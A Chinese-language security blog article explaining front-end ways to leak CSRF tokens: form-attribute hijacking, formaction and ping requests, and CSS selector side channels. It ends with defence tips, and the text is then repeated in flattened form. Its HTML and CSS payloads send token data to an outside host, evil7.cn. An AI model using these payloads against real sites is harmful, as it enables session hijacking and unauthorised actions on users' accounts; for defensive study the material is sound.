魔法才能打败魔法:关于获取csrf-token前端技巧思考
字数 1054 2025-08-25 22:58:20

CSRF Token 前端获取技巧详解

前言

CSRF攻击相比RCE攻击具有非侵入性和难以追踪的特点,但需要用户参与,增加了攻击难度。本文重点介绍在遇到CSRF利用瓶颈时,如何结合新特性、框架特征和原有逻辑完成整个攻击链。

CSRF Token的常规位置与获取方法

1. Cookie中的Token

  • 特点:通常未设置HttpOnly标志
  • 获取方法
    • 存在XSS漏洞时可直接通过document.cookie获取
    • 通过fetch重新获取响应并解析

2. Form表单中的Token

示例表单

<form id="user-edit" method="POST" action="/user/edit">
  <input name="token" type="hidden" value="csrf-xxxx1234">
  <input name="notes" type="text" value="">
  <input name="secert" type="radio"> secert
  <input name="public" type="radio"> public
  <input type="submit" value="save">
</form>

获取技巧:

  1. HTML5 form属性劫持

    <input type="submit" form="user-edit" value="hijack">
    

    通过此方式可以触发目标表单的提交

  2. 覆盖表单值

    <input type="text" form="user-edit" name="notes" value="[xss-payload-here]">
    <input type="text" form="user-edit" name="secert" value="on">
    <input type="submit" form="user-edit" value="hijack">
    

    浏览器会取最后一个同名参数值,因此可以覆盖原有值

  3. 修改表单action

    <input type="submit" form="user-edit" formaction="https://evil7.cn" formmethod="GET" value="hijack">
    

    将表单数据发送到攻击者服务器

  4. 利用iframe的referrer

    <iframe name="title_frame" src="/index?token=xxxx1234"></iframe>
    <input type="submit" formtarget="title_frame" formaction="https://evil7.cn" formmethod="GET" value="hijack">
    

    通过iframe绕过referrer限制

3. URL参数中的Token

获取技巧:

  1. 常规a标签

    <a href="https://evil7.cn">get_token</a>
    

    通过referrer获取,但可能被no-referrer策略阻止

  2. HTML5 ping属性

    <a href="#ping-leak" ping="https://evil7.cn">ping_leak</a>
    

    特点:

    • 即使href是锚点(#),ping请求仍会发出
    • 不受no-referrer影响
    • 可通过ping-to属性获取完整URL

4. CSS选择器侧信道泄露

基本原理:利用CSS属性选择器和背景URL外带数据

基础方法:

<style>
input[name="token"][value^="c"] {
  background: url("https://evil7.cn/css-leak?token_1=c")
}
</style>
<input name="token" value="csrf-xxxx1234">
  • ^=选择开头字符
  • $=选择结尾字符

优化方法:

使用:root伪类同时检查开头和结尾:

:root:has(input[name="token"][value^="c"]) {
  background: url("https://evil7.cn/css-leak?token_1=c")
}
:root:has(input[name="token"][value$="4"]) {
  background: url("https://evil7.cn/css-leak?token_last=4")
}

自动化泄露:

结合<link>标签和页面刷新,可自动依次泄露每个字符

5. CSS4 @document正则匹配(未来可能)

@document regexp("/token=a.*/") {
  div:nth-child(1) {
    background: url("https://evil7.cn/?token_1=a")
  }
}
@document regexp("/token=.{2}a.*/") {
  div:nth-child(1) {
    background: url("https://evil7.cn/?token_3=a")
  }
}

可精确匹配和泄露token的每一位

攻击思路升级

  1. 从Self-XSS到定向攻击

    • 通过表单劫持将self-XSS转化为针对特定用户的攻击
    • 利用secret/public选项控制内容可见性
  2. 组合利用

    • 结合多种技术绕过防御措施
    • 例如:iframe + formtarget绕过referrer限制
  3. 分阶段攻击

    • 先获取token
    • 再实施CSRF攻击

防御建议

  1. 对所有敏感操作使用HttpOnly的CSRF Token
  2. 实施严格的CSP策略
  3. 对表单提交进行同源验证
  4. 禁用不必要的HTML5特性(如ping)
  5. 对用户输入的CSS进行严格过滤
  6. 使用POST而非GET传递敏感参数

总结

前端攻击虽然评级可能较低,但通过巧妙的组合利用可以达到与高危漏洞相同的效果。理解各种前端技术的特性和限制,是构建有效攻击链的关键。

CSRF Token 前端获取技巧详解 前言 CSRF攻击相比RCE攻击具有非侵入性和难以追踪的特点,但需要用户参与,增加了攻击难度。本文重点介绍在遇到CSRF利用瓶颈时,如何结合新特性、框架特征和原有逻辑完成整个攻击链。 CSRF Token的常规位置与获取方法 1. Cookie中的Token 特点 :通常未设置HttpOnly标志 获取方法 : 存在XSS漏洞时可直接通过 document.cookie 获取 通过fetch重新获取响应并解析 2. Form表单中的Token 示例表单 : 获取技巧: HTML5 form属性劫持 : 通过此方式可以触发目标表单的提交 覆盖表单值 : 浏览器会取最后一个同名参数值,因此可以覆盖原有值 修改表单action : 将表单数据发送到攻击者服务器 利用iframe的referrer : 通过iframe绕过referrer限制 3. URL参数中的Token 获取技巧: 常规a标签 : 通过referrer获取,但可能被no-referrer策略阻止 HTML5 ping属性 : 特点: 即使href是锚点(#),ping请求仍会发出 不受no-referrer影响 可通过ping-to属性获取完整URL 4. CSS选择器侧信道泄露 基本原理 :利用CSS属性选择器和背景URL外带数据 基础方法: ^= 选择开头字符 $= 选择结尾字符 优化方法: 使用 :root 伪类同时检查开头和结尾: 自动化泄露: 结合 <link> 标签和页面刷新,可自动依次泄露每个字符 5. CSS4 @document正则匹配(未来可能) 可精确匹配和泄露token的每一位 攻击思路升级 从Self-XSS到定向攻击 : 通过表单劫持将self-XSS转化为针对特定用户的攻击 利用secret/public选项控制内容可见性 组合利用 : 结合多种技术绕过防御措施 例如:iframe + formtarget绕过referrer限制 分阶段攻击 : 先获取token 再实施CSRF攻击 防御建议 对所有敏感操作使用HttpOnly的CSRF Token 实施严格的CSP策略 对表单提交进行同源验证 禁用不必要的HTML5特性(如ping) 对用户输入的CSS进行严格过滤 使用POST而非GET传递敏感参数 总结 前端攻击虽然评级可能较低,但通过巧妙的组合利用可以达到与高危漏洞相同的效果。理解各种前端技术的特性和限制,是构建有效攻击链的关键。